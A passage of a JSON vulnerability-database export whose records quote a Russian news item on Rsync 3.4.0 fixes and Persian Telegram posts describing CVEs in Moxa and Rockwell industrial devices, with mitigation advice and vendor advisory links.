\u0444\u0430\u0439\u043b\u043e\u0432 \u0438 \u0440\u0435\u0437\u0435\u0440\u0432\u043d\u043e\u0433\u043e \u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0438\u0435 Rsync \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u0431\u044d\u043a\u0435\u043d\u0434\u0430, \u0442\u0430\u043a\u0438\u0435 \u043a\u0430\u043a BackupPC, DeltaCopy \u0438 ChronoSync.\n. . .\n\u0414\u043b\u044f \u0443\u043f\u0440\u043e\u0449\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 \u0434\u043e \u043d\u043e\u0432\u043e\u0439 \u0432\u0435\u0440\u0441\u0438\u0438 Rsync \u043d\u043e\u043c\u0435\u0440 \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u0430 \u0432 \u0432\u044b\u043f\u0443\u0441\u043a\u0435 Rsync 3.4.0 \u043f\u043e\u0432\u044b\u0448\u0435\u043d \u0434\u043e 32.\n. . .\nCVE-2024-12084 - \u0437\u0430\u043f\u0438\u0441\u044c \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u044b \u0432\u044b\u0434\u0435\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0431\u0443\u0444\u0435\u0440\u0430 \u0447\u0435\u0440\u0435\u0437 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0443 \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0439 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u043e\u0439 \u0441\u0443\u043c\u043c\u044b, \u0440\u0430\u0437\u043c\u0435\u0440 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u043f\u0440\u0435\u0432\u044b\u0448\u0430\u0435\u0442 16 \u0431\u0430\u0439\u0442.\nCVE-2024-12085 - \u0443\u0442\u0435\u0447\u043a\u0430 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0433\u043e \u043d\u0435\u0438\u043d\u0438\u0446\u0438\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u0438\u0437 \u0441\u0442\u0435\u043a\u0430 (\u043f\u043e \u043e\u0434\u043d\u043e\u043c\u0443 \u0431\u0430\u0439\u0442\u0443 \u0437\u0430 \u0440\u0430\u0437) \u043f\u0440\u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0438 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439 \u0441\u0440\u0430\u0432\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u044b\u0445 \u0441\u0443\u043c\u043c \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0433\u043e \u0440\u0430\u0437\u043c\u0435\u0440\u0430.\n\u0412 Rsync 3.4.0 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u044b \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0432\u0448\u0438\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043a\u043e\u0434 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435 \u0438 \u043a\u043b\u0438\u0435\u043d\u0442\u0435\nhttps://www.opennet.ru/opennews/art.shtml?num=62557\n\nRsync contains six vulnerabilities\nhttps://kb.cert.org/vuls/id/952657\n\n\u0417\u042b \u0421\u0441\u044b\u043b\u043a\u0430 \u043d\u0430 \u0442\u0432\u0438\u0442 \u0441\u043e \u0441\u043a\u0440\u0438\u043d\u0430\nhttps://x.com/KirillKorinsky/status/1879265433658020062", "creation_timestamp": "2025-01-15T18:03:39.000000Z"}, {"uuid": "f1a3b47a-4b2f-4518-80d3-ac4c2c2cf7fb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1220", "type": "seen", "source": "https://t.me/ics_cert/821", "content": "\u0634\u0646\u0627\u0633\u0627\u06cc\u06cc \u0622\u0633\u06cc\u0628 \u067e\u0630\u06cc\u0631\u06cc \u0645\u0628\u062f\u0644 \u0647\u0627\u06cc \u0628\u06cc \u0633\u06cc\u0645 \u0635\u0646\u0639\u062a\u06cc Moxa\n\n\u06cc\u06a9 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u062f\u0631 \u0645\u0628\u062f\u0644\u200c\u0647\u0627\u06cc NPort W2150A \u0648 W2250A \u06a9\u0634\u0641 \u0634\u062f - \u0627\u06cc\u0646 \u062f\u0633\u062a\u06af\u0627\u0647\u200c\u0647\u0627 \u0628\u0647 \u0634\u0645\u0627 \u0627\u0645\u06a9\u0627\u0646 \u0645\u06cc\u200c\u062f\u0647\u0646\u062f \u06a9\u0646\u062a\u0631\u0644\u200c\u06a9\u0646\u0646\u062f\u0647\u200c\u0647\u0627\u06cc \u0635\u0646\u0639\u062a\u06cc\u060c \u0645\u062a\u0631 \u0648 \u0633\u0646\u0633\u0648\u0631\u0647\u0627 \u0631\u0627 \u0628\u0647 \u06cc\u06a9 \u0634\u0628\u06a9\u0647 Wi-Fi \u0645\u062d\u0644\u06cc \u0645\u062a\u0635\u0644 \u06a9\u0646\u06cc\u062f. Moxa \u062a\u062d\u062a \u062e\u0637 \u0645\u0634\u06cc \u0627\u0641\u0634\u0627\u06cc \u0645\u0633\u0626\u0648\u0644\u0627\u0646\u0647 \u062e\u0648\u062f \u0627\u0632 \u0627\u06cc\u0646 \u062a\u0647\u062f\u06cc\u062f \u0645\u0637\u0644\u0639 \u0634\u062f\u0647 \u0627\u0633\u062a \u0648 \u0628\u0647 \u0631\u0648\u0632 \u0631\u0633\u0627\u0646\u06cc \u0646\u0631\u0645 \u0627\u0641\u0632\u0627\u0631\u06cc \u0631\u0627 \u0645\u0646\u062a\u0634\u0631 \u06a9\u0631\u062f\u0647 \u0627\u0633\u062a.\n\n\ud83e\udd77 \u0645\u0647\u0627\u062c\u0645 \u0645\u06cc \u062a\u0648\u0627\u0646\u062f \u0628\u0647 \u0627\u06cc\u0646 \u062a\u062c\u0647\u06cc\u0632\u0627\u062a \u062f\u0633\u062a\u0631\u0633\u06cc \u06a9\u0627\u0645\u0644 \u062f\u0627\u0634\u062a\u0647 \u0628\u0627\u0634\u062f. \u06cc\u06a9 \u062f\u0631\u062e\u0648\u0627\u0633\u062a \u0648\u06cc\u0698\u0647 \u0628\u0631\u0627\u06cc \u0627\u06cc\u0646 \u06a9\u0627\u0631 \u06a9\u0627\u0641\u06cc \u0627\u0633\u062a. \u0628\u06a9\u060c \u0645\u062a\u062e\u0635\u0635 \u062f\u0631 \u06af\u0631\u0648\u0647 \u062a\u062d\u0644\u06cc\u0644 \u0627\u0645\u0646\u06cc\u062a \u0628\u0631\u0646\u0627\u0645\u0647 \u0647\u0627\u06cc \u06a9\u0627\u0631\u0628\u0631\u062f\u06cc \u0648\u0628 \u06af\u0641\u062a: \u0628\u0627 \u06a9\u0646\u062a\u0631\u0644 \u0645\u0628\u062f\u0644 \u0647\u0627\u060c \u06cc\u06a9 \u0645\u0647\u0627\u062c\u0645 \u0645\u06cc \u062a\u0648\u0627\u0646\u062f \u062f\u0633\u062a\u0648\u0631\u0627\u062a\u06cc \u0631\u0627 \u0628\u0647 \u06a9\u0646\u062a\u0631\u0644 \u06a9\u0646\u0646\u062f\u0647 \u0647\u0627\u06cc \u0635\u0646\u0639\u062a\u06cc \u0645\u062a\u0635\u0644 \u0648 \u0633\u0627\u06cc\u0631 \u062a\u062c\u0647\u06cc\u0632\u0627\u062a \u0627\u0631\u0633\u0627\u0644 \u06a9\u0646\u062f \u06a9\u0647 \u0645\u0645\u0644\u0648 \u0627\u0632 \u0627\u062e\u062a\u0644\u0627\u0644 \u06cc\u0627 \u062a\u063a\u06cc\u06cc\u0631 \u062f\u0631 \u0631\u0648\u0646\u062f \u0641\u0646\u0627\u0648\u0631\u06cc \u062e\u0648\u0627\u0647\u062f \u0628\u0648\u062f.\n\n\u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc CVE-2024-1220 (BDU:2024-01811) \u0627\u0645\u062a\u06cc\u0627\u0632 CVSS v3.1 8.2 \u0631\u0627 \u062f\u0631\u06cc\u0627\u0641\u062a \u06a9\u0631\u062f \u06a9\u0647 \u0628\u0627 \u0633\u0637\u062d \u0634\u062f\u062a \u0628\u0627\u0644\u0627\u06cc\u06cc \u0645\u0637\u0627\u0628\u0642\u062a \u062f\u0627\u0631\u062f. \u0628\u0631\u0627\u06cc \u0631\u0641\u0639 \u0622\u0646\u060c \u0628\u0627\u06cc\u062f \u0622\u062e\u0631\u06cc\u0646 \u0646\u0633\u062e\u0647 \u0633\u06cc\u0633\u062a\u0645 \u0639\u0627\u0645\u0644 \u0631\u0627 \u0646\u0635\u0628 \u06a9\u0646\u06cc\u062f.\n\n\ud83d\udca1 \u0686\u0646\u06cc\u0646 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u062f \u062a\u0648\u0633\u0637 \u0645\u0647\u0627\u062c\u0645\u0627\u0646 \u062f\u0627\u062e\u0644\u06cc \u06cc\u0627 \u0638\u0627\u0647\u0631\u0627\u064b \u0645\u0647\u0645\u0627\u0646\u200c\u0647\u0627\u06cc \u0634\u0631\u06a9\u062a - \u0628\u0647 \u0639\u0646\u0648\u0627\u0646 \u0645\u062b\u0627\u0644\u060c \u0634\u0631\u06a9\u0627 \u06cc\u0627 \u0627\u0641\u0631\u0627\u062f \u062f\u0631 \u0645\u0635\u0627\u062d\u0628\u0647\u200c\u0647\u0627 \u0645\u0648\u0631\u062f \u0633\u0648\u0621 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0642\u0631\u0627\u0631 \u06af\u06cc\u0631\u062f. \u062f\u0631 \u0628\u0631\u062e\u06cc \u0645\u0648\u0627\u0631\u062f\u060c \u0627\u06cc\u0646 \u0645\u06cc \u062a\u0648\u0627\u0646\u062f \u0645\u0647\u0627\u062c\u0645\u0627\u0646\u06cc \u0628\u0627 \u0622\u0646\u062a\u0646 \u0647\u0627\u06cc \u0642\u062f\u0631\u062a\u0645\u0646\u062f \u0628\u0631\u0627\u06cc \u062a\u0642\u0648\u06cc\u062a \u0633\u06cc\u06af\u0646\u0627\u0644 \u0628\u06cc \u0633\u06cc\u0645 \u0648 \u062d\u0645\u0644\u0647 \u0628\u0647 \u0634\u0631\u06a9\u062a \u0627\u0632 \u062e\u0627\u0631\u062c \u0627\u0632 \u0645\u062d\u06cc\u0637 \u0641\u06cc\u0632\u06cc\u06a9\u06cc \u0628\u0627\u0634\u062f.\n\n\u0628\u0627 \u0627\u06cc\u0646 \u062d\u0627\u0644\u060c \u0628\u0631\u0627\u06cc \u0647\u0645\u0647 \u0686\u0646\u06cc\u0646 \u062d\u0645\u0644\u0627\u062a\u06cc\u060c \u0645\u0647\u0627\u062c\u0645\u0627\u0646 \u0647\u0645\u0686\u0646\u0627\u0646 \u0628\u0627\u06cc\u062f \u0646\u0642\u0627\u0637 \u062f\u0633\u062a\u0631\u0633\u06cc \u0631\u0627 \u06a9\u0647 \u0645\u0628\u062f\u0644\u200c\u0647\u0627\u06cc Moxa \u0628\u0647 \u0622\u0646\u0647\u0627 \u0645\u062a\u0635\u0644 \u0647\u0633\u062a\u0646\u062f\u060c \u0647\u06a9 \u06a9\u0646\u0646\u062f \u06cc\u0627 \u0648\u0627\u0631\u062f \u0628\u062e\u0634 \u0634\u0628\u06a9\u0647 \u0645\u062d\u0644\u06cc \u0634\u0648\u0646\u062f \u06a9\u0647 \u0627\u0632 \u0622\u0646\u062c\u0627 \u0642\u0627\u0628\u0644 \u062f\u0633\u062a\u0631\u0633\u06cc \u0647\u0633\u062a\u0646\u062f.\n\n\ud83c\udfed\u0648\u0628\u0633\u0627\u06cc\u062a \u0648 \u06a9\u0627\u0646\u0627\u0644 \u062a\u062e\u0635\u0635\u06cc \u0627\u0645\u0646\u06cc\u062a \u0632\u06cc\u0631\u0633\u0627\u062e\u062a\u0647\u0627\u06cc \u0627\u062a\u0648\u0645\u0627\u0633\u06cc\u0648\u0646 \u0648 \u06a9\u0646\u062a\u0631\u0644 \u0635\u0646\u0639\u062a\u06cc\n\n\u0627\u062f\u0645\u06cc\u0646:\nhttps://t.me/pedram_kiani\n\u06a9\u0627\u0646\u0627\u0644 \u062a\u0644\u06af\u0631\u0627\u0645:\nhttps://t.me/ics_cert", "creation_timestamp": "2024-03-12T16:09:25.000000Z"}, {"uuid": "a7b9eeaa-7d29-46d5-8a25-df568c921e33", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12297", "type": "published-proof-of-concept", "source": "https://t.me/ics_cert/996", "content": "\u06cc\u06a9 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u062f\u0631 \u067e\u06cc\u0627\u062f\u0647\u200c\u0633\u0627\u0632\u06cc \u0645\u06a9\u0627\u0646\u06cc\u0632\u0645 \u0645\u062c\u0648\u0632 \u0641\u0631\u06cc\u0645\u0648\u0631 \u0628\u0631\u0627\u06cc \u0633\u0648\u0626\u06cc\u0686\u200c\u0647\u0627\u06cc Moxa EDS-508A \u0628\u0627 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 \u0646\u0642\u0635 \u062f\u0631 \u0645\u06a9\u0627\u0646\u06cc\u0633\u0645 \u0634\u0646\u0627\u0633\u0627\u06cc\u06cc/\u062a\u0623\u06cc\u06cc\u062f \u0647\u0648\u06cc\u062a \u0645\u0631\u062a\u0628\u0637 \u0627\u0633\u062a.  \n\u0633\u0648\u0621 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 \u0627\u06cc\u0646 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u062f \u0628\u0647 \u0645\u0647\u0627\u062c\u0645 \u0627\u0632 \u0631\u0627\u0647 \u062f\u0648\u0631 \u0627\u062c\u0627\u0632\u0647 \u062f\u0647\u062f \u062a\u0627 \u062f\u0633\u062a\u0631\u0633\u06cc \u063a\u06cc\u0631\u0645\u062c\u0627\u0632 \u0628\u0647 \u0641\u0627\u06cc\u0644\u200c\u0647\u0627\u06cc \u067e\u06cc\u06a9\u0631\u0628\u0646\u062f\u06cc \u062f\u0633\u062a\u06af\u0627\u0647 \u0627\u0632 \u0637\u0631\u06cc\u0642 brute force \u06cc\u0627 \u062d\u0645\u0644\u0647 \u0628\u0631\u062e\u0648\u0631\u062f MD5 \u0628\u0631\u0627\u06cc \u062c\u0639\u0644 \u0647\u0634\u200c\u0647\u0627\u06cc \u0627\u062d\u0631\u0627\u0632 \u0647\u0648\u06cc\u062a \u062f\u0627\u0634\u062a\u0647 \u0628\u0627\u0634\u062f.\n\n BDU: 2025-00371\n CVE-2024-12297\n\n \u0646\u0635\u0628 \u0628\u0647 \u0631\u0648\u0632 \u0631\u0633\u0627\u0646\u06cc \u0627\u0632 \u0645\u0646\u0627\u0628\u0639 \u0642\u0627\u0628\u0644 \u0627\u0639\u062a\u0645\u0627\u062f  \u060c \u062a\u0648\u0635\u06cc\u0647 \u0645\u06cc \u0634\u0648\u062f \u0628\u0647 \u0631\u0648\u0632 \u0631\u0633\u0627\u0646\u06cc \u0646\u0631\u0645 \u0627\u0641\u0632\u0627\u0631 \u0631\u0627 \u062a\u0646\u0647\u0627 \u067e\u0633 \u0627\u0632 \u0627\u0631\u0632\u06cc\u0627\u0628\u06cc \u062a\u0645\u0627\u0645 \u062e\u0637\u0631\u0627\u062a \u0645\u0631\u062a\u0628\u0637 \u0646\u0635\u0628 \u06a9\u0646\u06cc\u062f.\n\n \u0627\u0642\u062f\u0627\u0645\u0627\u062a \u062c\u0628\u0631\u0627\u0646\u06cc:\n - \u0645\u062d\u062f\u0648\u062f \u06a9\u0631\u062f\u0646 \u062f\u0633\u062a\u0631\u0633\u06cc \u0628\u0647 \u062f\u0633\u062a\u06af\u0627\u0647 \u0647\u0627 \u0627\u0632 \u0634\u0628\u06a9\u0647 \u0647\u0627\u06cc \u062e\u0627\u0631\u062c\u06cc (\u0627\u06cc\u0646\u062a\u0631\u0646\u062a)\u061b\n - \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 \u0644\u06cc\u0633\u062a \u0633\u0641\u06cc\u062f \u0622\u062f\u0631\u0633 \u0647\u0627\u06cc IP \u0628\u0631\u0627\u06cc \u0645\u062d\u062f\u0648\u062f \u06a9\u0631\u062f\u0646 \u062f\u0633\u062a\u0631\u0633\u06cc \u0628\u0647 \u0646\u0631\u0645 \u0627\u0641\u0632\u0627\u0631\u0647\u0627\u06cc \u0622\u0633\u06cc\u0628 \u067e\u0630\u06cc\u0631.\n - \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 \u0627\u0628\u0632\u0627\u0631\u0647\u0627\u06cc \u0641\u0627\u06cc\u0631\u0648\u0627\u0644 \u0628\u0631\u0627\u06cc \u0645\u062d\u062f\u0648\u062f \u06a9\u0631\u062f\u0646 \u0627\u0645\u06a9\u0627\u0646 \u0627\u0631\u0633\u0627\u0644 \u06a9\u0646\u062a\u0631\u0644 \u0646\u0634\u062f\u0647 \u062f\u0631\u062e\u0648\u0627\u0633\u062a \u0647\u0627 \u0628\u0647 \u0646\u0631\u0645 \u0627\u0641\u0632\u0627\u0631\u0647\u0627\u06cc \u0622\u0633\u06cc\u0628 \u067e\u0630\u06cc\u0631.\n - \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 \u0627\u0628\u0632\u0627\u0631\u0647\u0627\u06cc \u062a\u0634\u062e\u06cc\u0635 \u0646\u0641\u0648\u0630 \u0648 \u067e\u06cc\u0634\u06af\u06cc\u0631\u06cc (IDS/IPS) \u0628\u0631\u0627\u06cc \u0646\u0638\u0627\u0631\u062a \u0628\u0631 \u062a\u0644\u0627\u0634 \u0647\u0627 \u0628\u0631\u0627\u06cc \u0628\u0647\u0631\u0647 \u0628\u0631\u062f\u0627\u0631\u06cc \u0627\u0632 \u0622\u0633\u06cc\u0628 \u067e\u0630\u06cc\u0631\u06cc \u0647\u0627.\n\n \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 \u062a\u0648\u0635\u06cc\u0647 \u0647\u0627\u06cc \u0633\u0627\u0632\u0646\u062f\u0647:\n https://www.moxa.com/en/support/product-support/security-advisory/mpsa-241407-cve-2024-12297-frontend-authorization-logic-disclosure-vulnerability-in-eds-508a-series\n\n\ud83d\udc48 \u0646\u0638\u0631\u0627\u062a \u0648 \u062a\u062c\u0631\u0628\u06cc\u0627\u062a \u0634\u0645\u0627 \u0627\u0631\u0632\u0634\u0645\u0646\u062f \u0627\u0633\u062a - \u0644\u0637\u0641\u0627 \u0622\u0646\u0631\u0627 \u0628\u0647 \u0627\u0634\u062a\u0631\u0627\u06a9 \u0628\u06af\u0630\u0627\u0631\u06cc\u062f. \n\ud83c\udfed \u0648\u0628\u0633\u0627\u06cc\u062a \u0648 \u06a9\u0627\u0646\u0627\u0644 \u062a\u062e\u0635\u0635\u06cc \u0627\u0645\u0646\u06cc\u062a \u0632\u06cc\u0631\u0633\u0627\u062e\u062a\u0647\u0627\u06cc \u0627\u062a\u0648\u0645\u0627\u0633\u06cc\u0648\u0646 \u0648 \u06a9\u0646\u062a\u0631\u0644 \u0635\u0646\u0639\u062a\u06cc\n\ud83d\udc6e\ud83c\udffd\u200d\u2640\ufe0f\u0647\u0631\u06af\u0648\u0646\u0647 \u0627\u0646\u062a\u0634\u0627\u0631 \u0648 \u0630\u06a9\u0631 \u0645\u0637\u0627\u0644\u0628 \u0628\u062f\u0648\u0646 \u0630\u06a9\u0631 \u062f\u0642\u06cc\u0642 \u0645\u0646\u0628\u0639 \u0648 \u0622\u062f\u0631\u0633 \u0644\u06cc\u0646\u06a9 \u0622\u0646 \u0645\u0645\u0646\u0648\u0639 \u0627\u0633\u062a. \n\u0627\u062f\u0645\u06cc\u0646:\n\u200fhttps://t.me/pedram_kiani\n\u06a9\u0627\u0646\u0627\u0644 \u062a\u0644\u06af\u0631\u0627\u0645:\nhttps://t.me/ics_cert\n\u06af\u0631\u0648\u0647 \u0648\u0627\u062a\u0633 \u0622\u067e :\nhttps://chat.whatsapp.com/FpB620AWEeSKvd8U6cFh33", "creation_timestamp": "2025-01-21T16:07:29.000000Z"}, {"uuid": "081b07a1-bc81-4b56-bdae-06b809cfc706", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12371", "type": "seen", "source": "https://t.me/ics_cert/984", "content": "\u06cc\u06a9 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u062f\u0631 \u0631\u0627\u0628\u0637 \u0628\u0631\u0646\u0627\u0645\u0647\u200c\u0646\u0648\u06cc\u0633\u06cc \u0627\u067e\u0644\u06cc\u06a9\u06cc\u0634\u0646 Rockwell Automation PowerMonitor 1000 \u0633\u06cc\u0633\u062a\u0645\u200c\u0627\u0641\u0632\u0627\u0631 \u062f\u0633\u062a\u06af\u0627\u0647 \u0646\u0638\u0627\u0631\u062a \u0648 \u06a9\u0646\u062a\u0631\u0644 \u0634\u0628\u06a9\u0647 \u0627\u0644\u06a9\u062a\u0631\u06cc\u06a9\u06cc \u0628\u0647 \u062f\u0644\u06cc\u0644 \u062a\u0648\u0627\u0646\u0627\u06cc\u06cc \u0627\u06cc\u062c\u0627\u062f \u06cc\u06a9 \u06a9\u0627\u0631\u0628\u0631 \u0645\u0645\u062a\u0627\u0632 \u0628\u0627 \u062f\u0648\u0631 \u0632\u062f\u0646 \u0645\u06a9\u0627\u0646\u06cc\u0633\u0645 \u0627\u062d\u0631\u0627\u0632 \u0647\u0648\u06cc\u062a \u0627\u0633\u062a. \u0628\u0647\u0631\u0647 \u0628\u0631\u062f\u0627\u0631\u06cc \u0627\u0632 \u0627\u06cc\u0646 \u0622\u0633\u06cc\u0628 \u067e\u0630\u06cc\u0631\u06cc \u0645\u06cc \u062a\u0648\u0627\u0646\u062f \u0628\u0647 \u06cc\u06a9 \u0645\u0647\u0627\u062c\u0645 \u0631\u0627\u0647 \u062f\u0648\u0631 \u0627\u062c\u0627\u0632\u0647 \u062f\u0647\u062f \u062a\u0627 \u0628\u0627 \u0627\u0631\u0633\u0627\u0644 \u06cc\u06a9 \u062f\u0631\u062e\u0648\u0627\u0633\u062a API \u0633\u0627\u062e\u062a\u0647 \u0634\u062f\u0647 \u0648\u06cc\u0698\u0647 \u0628\u0631\u0627\u06cc \u0627\u06cc\u062c\u0627\u062f \u06cc\u06a9 \u06a9\u0627\u0631\u0628\u0631 Policyholder (\u0628\u0627 \u0627\u0645\u062a\u06cc\u0627\u0632\u0627\u062a \u0645\u062f\u06cc\u0631\u06cc\u062a \u0633\u06cc\u0627\u0633\u062a \u0647\u0627\u06cc \u0627\u0645\u0646\u06cc\u062a\u06cc) \u0628\u0647 \u062f\u0633\u062a\u06af\u0627\u0647 \u062f\u0633\u062a\u0631\u0633\u06cc \u06a9\u0627\u0645\u0644 \u062f\u0627\u0634\u062a\u0647 \u0628\u0627\u0634\u062f.\n\nBDU: 2024-11389\nCVE-2024-12371\n\n\u0646\u0635\u0628 \u0628\u0647 \u0631\u0648\u0632 \u0631\u0633\u0627\u0646\u06cc \u0627\u0632 \u0645\u0646\u0627\u0628\u0639 \u0642\u0627\u0628\u0644 \u0627\u0639\u062a\u0645\u0627\u062f\n \u062a\u0648\u0635\u06cc\u0647 \u0645\u06cc \u0634\u0648\u062f \u0628\u0647 \u0631\u0648\u0632 \u0631\u0633\u0627\u0646\u06cc \u0646\u0631\u0645 \u0627\u0641\u0632\u0627\u0631 \u0631\u0627 \u062a\u0646\u0647\u0627 \u067e\u0633 \u0627\u0632 \u0627\u0631\u0632\u06cc\u0627\u0628\u06cc \u062a\u0645\u0627\u0645 \u062e\u0637\u0631\u0627\u062a \u0645\u0631\u062a\u0628\u0637 \u0646\u0635\u0628 \u06a9\u0646\u06cc\u062f.\n\n\u0627\u0642\u062f\u0627\u0645\u0627\u062a \u062c\u0628\u0631\u0627\u0646\u06cc:\n- \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 \u0627\u0628\u0632\u0627\u0631\u0647\u0627\u06cc \u0641\u0627\u06cc\u0631\u0648\u0627\u0644 \u0628\u0631\u0627\u06cc \u0645\u062d\u062f\u0648\u062f \u06a9\u0631\u062f\u0646 \u062f\u0633\u062a\u0631\u0633\u06cc \u0627\u0632 \u0631\u0627\u0647 \u062f\u0648\u0631 \u0628\u0647 \u062f\u0633\u062a\u06af\u0627\u0647\u061b\n- \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 \u06cc\u06a9 \u0644\u06cc\u0633\u062a \"\u0633\u0641\u06cc\u062f\" \u0627\u0632 \u0622\u062f\u0631\u0633 \u0647\u0627\u06cc IP \u0628\u0631\u0627\u06cc \u0633\u0627\u0632\u0645\u0627\u0646\u062f\u0647\u06cc \u062f\u0633\u062a\u0631\u0633\u06cc \u0627\u0632 \u0631\u0627\u0647 \u062f\u0648\u0631 \u0628\u0647 \u062f\u0633\u062a\u06af\u0627\u0647.\n- \u067e\u06cc\u06af\u06cc\u0631\u06cc \u062a\u0644\u0627\u0634 \u0647\u0627\u06cc \u063a\u06cc\u0631\u0645\u062c\u0627\u0632 \u0628\u0631\u0627\u06cc \u0627\u06cc\u062c\u0627\u062f \u06a9\u0627\u0631\u0628\u0631\u0627\u0646 \u062c\u062f\u06cc\u062f\u061b\n- \u062a\u0642\u0633\u06cc\u0645 \u0628\u0646\u062f\u06cc \u0634\u0628\u06a9\u0647 \u0628\u0631\u0627\u06cc \u0645\u062d\u062f\u0648\u062f \u06a9\u0631\u062f\u0646 \u062f\u0633\u062a\u0631\u0633\u06cc \u0628\u0647 \u0628\u062e\u0634 \u0635\u0646\u0639\u062a\u06cc \u0627\u0632 \u0632\u06cc\u0631\u0634\u0628\u06a9\u0647 \u0647\u0627\u06cc \u062f\u06cc\u06af\u0631.\n- \u0645\u062d\u062f\u0648\u062f\u06cc\u062a \u062f\u0633\u062a\u0631\u0633\u06cc \u0628\u0647 \u062a\u062c\u0647\u06cc\u0632\u0627\u062a \u0635\u0646\u0639\u062a\u06cc \u0627\u0632 \u0634\u0628\u06a9\u0647 \u0647\u0627\u06cc \u062e\u0627\u0631\u062c\u06cc (\u0627\u06cc\u0646\u062a\u0631\u0646\u062a).\n- \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 \u0634\u0628\u06a9\u0647 \u0647\u0627\u06cc \u062e\u0635\u0648\u0635\u06cc \u0645\u062c\u0627\u0632\u06cc \u0628\u0631\u0627\u06cc \u0633\u0627\u0632\u0645\u0627\u0646\u062f\u0647\u06cc \u062f\u0633\u062a\u0631\u0633\u06cc \u0627\u0632 \u0631\u0627\u0647 \u062f\u0648\u0631 (VPN).\n\n\u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 \u062a\u0648\u0635\u06cc\u0647 \u0647\u0627:\nhttps://www.rockwellautomation.com/en-us/trust-center/security-advisories/advisory.SD1714.html\n\u26a0\ufe0f\u0628\u06cc\u0627\u0646\u06cc\u0647 \u0633\u0644\u0628 \u0645\u0633\u0626\u0648\u0644\u06cc\u062a\n\ud83c\udfed\u0648\u0628\u0633\u0627\u06cc\u062a \u0648 \u06a9\u0627\u0646\u0627\u0644 \u062a\u062e\u0635\u0635\u06cc \u0627\u0645\u0646\u06cc\u062a \u0632\u06cc\u0631\u0633\u0627\u062e\u062a\u0647\u0627\u06cc \u0627\u062a\u0648\u0645\u0627\u0633\u06cc\u0648\u0646 \u0648 \u06a9\u0646\u062a\u0631\u0644 \u0635\u0646\u0639\u062a\u06cc\n\ud83d\udc6e\ud83c\udffd\u200d\u2640\ufe0f\u0647\u0631\u06af\u0648\u0646\u0647 \u0627\u0646\u062a\u0634\u0627\u0631 \u0648 \u0630\u06a9\u0631 \u0645\u0637\u0627\u0644\u0628 \u0628\u062f\u0648\u0646 \u0630\u06a9\u0631 \u062f\u0642\u06cc\u0642 \u0645\u0646\u0628\u0639 \u0648 \u0622\u062f\u0631\u0633 \u0644\u06cc\u0646\u06a9 \u0622\u0646 \u0645\u0645\u0646\u0648\u0639 \u0627\u0633\u062a. \n\u0627\u062f\u0645\u06cc\u0646:\n\u200fhttps://t.me/pedram_kiani\n\u06a9\u0627\u0646\u0627\u0644 \u062a\u0644\u06af\u0631\u0627\u0645:\nhttps://t.me/ics_cert\n\u06af\u0631\u0648\u0647 \u0648\u0627\u062a\u0633 \u0622\u067e :\nhttps://chat.whatsapp.com/FpB620AWEeSKvd8U6cFh33", "creation_timestamp": "2024-12-27T20:39:49.000000Z"}, {"uuid": 